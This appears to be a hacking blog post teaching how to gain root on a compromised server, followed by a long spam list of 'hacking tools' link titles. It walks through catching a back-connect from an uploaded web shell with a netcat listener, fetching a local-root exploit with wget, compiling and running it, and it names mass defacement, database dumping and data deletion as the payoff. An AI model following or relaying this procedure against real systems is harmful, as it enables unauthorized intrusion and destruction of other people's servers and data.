Wednesday, January 17, 2024

HOW TO ROOT A SERVER? – SERVER ROOTING

Servers serve the requests made by the users to the web pages, it acts as a helping hand who serves the requested meal for you. Here I am sharing how to root a server. Root is the Administrator of all server. If someone got root access to it, he can do anything with a server like delete and copy anything on the server, can deface all the websites (massive deface ).
We can't talk about root on windows. That enough for a beginner because if I talk about the root I need another book. So, I guess now we know the importance of root access and why we try to get root.

HOW TO ROOT A SERVER?

There are 3 ways to get ROOT on the server :
1 – With local Root.
2 – With SQL by reading the same important files on it root password.
3 – With exploit on software (Buffer Overflow).
In this post, we will explain local Root. I will explain the other ways soon in some other post.
OK, let's back to work.
After Uploading your shell on the server and getting the local root you will do a back connect and run the local root to Get root. This is a small idea of how it works in the next step you will see how to
find local root and run it to get root access.

HOW TO SEARCH LOCAL ROOT?

First of all we you need to know what version of Kernel.
You can know that from your shell, for example, this version is 2.6.18 – 2012
Go to EXECUTE on your shell and write  "uname -a". You will get the same result, by the way.
Now how to find the local root.
You can use various websites like Exploit-db, packetstormsecurity, vfocus, injector, etc who provides these local roots. One more thing to notice is, that there exist two types of local roots :
1. Local.C: which are not ready.
2. Local: ready to use.

HOW TO GET ROOT ACCESS?

First, you need a shell with a Back Connect option like this :
Enter your "Public IP Address" in SERVER, the port you want to connect on and leave it, Perl, this time, and Finally connect.
So now you must receive the back connect with a Tool named netcat u can download it from the
net. After that open your terminal if you are under Linux or CMD  if you are under Windows. I will explain only Linux, and for Windows, its all the same.
After that Follow the steps :
1- Press nc -vlp 433
2- Wget [the link of the local-Root.zip]
3 – unzip local-Root.zip

4 – chmod 777 local.c

5 – now to change the local-root from local.c > local
gcc local.c -o local Then you will find local.c transformed to local

6 – chmod 777 local

7 – ./local to local rootwork

8 – su
then see your id uid=0(root) gid=0(root) groups=0(root)


Getting UID=0 means, u had got root privileges and hence can do a variety of stuff on the remote server say Mass deface, dump database, redirect sites, change content, etc etc.
AFTER THE ROOT 
As server gets rooted, you're able to do the many things with it like I mentioned above. Such as, withdrawal of domains, massive deface and also deletion of the data completely.

More info


  1. Pentest Tools For Ubuntu
  2. Hacking Tools Download
  3. Hacking Tools For Beginners
  4. Hack And Tools
  5. What Are Hacking Tools
  6. Hak5 Tools
  7. Top Pentest Tools
  8. Pentest Tools Review
  9. How To Install Pentest Tools In Ubuntu
  10. Hacking Tools Online
  11. Hack Tools Download
  12. Hacking Tools Pc
  13. Hacker Tools List
  14. Hacking Tools Windows
  15. Hackrf Tools
  16. Hacking Tools Download
  17. Pentest Tools Windows
  18. Best Hacking Tools 2019
  19. How To Make Hacking Tools
  20. Hacking Tools For Windows Free Download
  21. Hacker Tools 2019
  22. Hacker Tools Free
  23. Pentest Tools Url Fuzzer
  24. Hack Tool Apk No Root
  25. Pentest Tools Windows
  26. Bluetooth Hacking Tools Kali
  27. Pentest Tools For Windows
  28. Top Pentest Tools
  29. Hacking Tools For Beginners
  30. World No 1 Hacker Software
  31. Growth Hacker Tools
  32. Android Hack Tools Github
  33. Hacker Tools Software
  34. Pentest Tools Download
  35. Hacking Tools For Games
  36. Pentest Tools Windows
  37. Pentest Tools For Windows
  38. Top Pentest Tools
  39. Pentest Tools Review
  40. Pentest Tools Find Subdomains
  41. Pentest Tools Online
  42. Hacker Tools Free
  43. Hacking Tools Kit
  44. Pentest Tools Download
  45. Usb Pentest Tools
  46. Computer Hacker
  47. Hacking Tools
  48. Hack Tools Online
  49. Pentest Tools Github
  50. Hack Tool Apk
  51. Hacking Tools Name
  52. Hacking Tools Windows 10
  53. Pentest Tools Website
  54. Hacking Tools And Software
  55. Hack Rom Tools
  56. Pentest Tools
  57. Best Hacking Tools 2020
  58. Pentest Tools Android
  59. Hacking Tools For Beginners
  60. Easy Hack Tools
  61. Hacker Tools Apk
  62. Physical Pentest Tools
  63. Hack Tool Apk No Root
  64. Hacking Tools Free Download
  65. Pentest Tools Alternative
  66. Pentest Tools Alternative
  67. Blackhat Hacker Tools
  68. Hacker Tools Apk
  69. Tools Used For Hacking
  70. How To Hack
  71. Hacker Tools For Mac
  72. Hack Tools For Pc
  73. Hackrf Tools
  74. Pentest Tools Website
  75. Hacker Tools Hardware
  76. Hack Tools Github
  77. Hacking Tools
  78. Nsa Hack Tools
  79. Hacking Tools Github
  80. Black Hat Hacker Tools
  81. Hacker Techniques Tools And Incident Handling
  82. Hacker Tools 2020
  83. Hacking Tools Windows
  84. Easy Hack Tools
  85. Pentest Tools Free
  86. Hack App
  87. Hacks And Tools
  88. Hack Tools
  89. Hacker Tools Software
  90. Hacking Tools Windows
  91. Tools For Hacker
  92. Hacking Tools Pc
  93. Best Hacking Tools 2019
  94. Hacker Tools For Ios
  95. Hackers Toolbox
  96. Hacking Tools For Windows
  97. Blackhat Hacker Tools
  98. Hacking Tools For Kali Linux
  99. Hacking Tools For Windows 7
  100. Hacking Tools Usb
  101. Hacker
  102. Hacking Tools Github
  103. Hacking Tools For Mac
  104. Hack Website Online Tool
  105. Hak5 Tools
  106. Hacker Tools 2020
  107. Usb Pentest Tools
  108. Pentest Tools Download
  109. Hacking Tools And Software
  110. Kik Hack Tools
  111. Hacker Tools For Mac
  112. Usb Pentest Tools
  113. Hacking Tools Hardware
  114. Hacking Tools
  115. Pentest Tools Download
  116. Hacking Tools Online
  117. Pentest Tools For Ubuntu
  118. Hacker Tools 2019
  119. Hacker Search Tools
  120. Kik Hack Tools
  121. Free Pentest Tools For Windows
  122. Pentest Recon Tools
  123. Hacker Tools Windows
  124. Hack Tools For Pc
  125. Pentest Tools Apk
  126. Game Hacking
  127. Hack Tools Pc
  128. Game Hacking
  129. Hacker Security Tools
  130. New Hacker Tools
  131. What Is Hacking Tools
  132. Pentest Tools For Android
  133. Hacker Tools Apk Download
  134. Hacking App
  135. New Hack Tools
  136. Pentest Tools Port Scanner
  137. Hacking Tools For Mac
  138. Hack Tools Github
  139. Hacker Tool Kit
  140. How To Hack
  141. Pentest Box Tools Download
  142. Tools For Hacker
  143. Hack Tools For Pc
  144. Hacker Tools For Windows
  145. How To Make Hacking Tools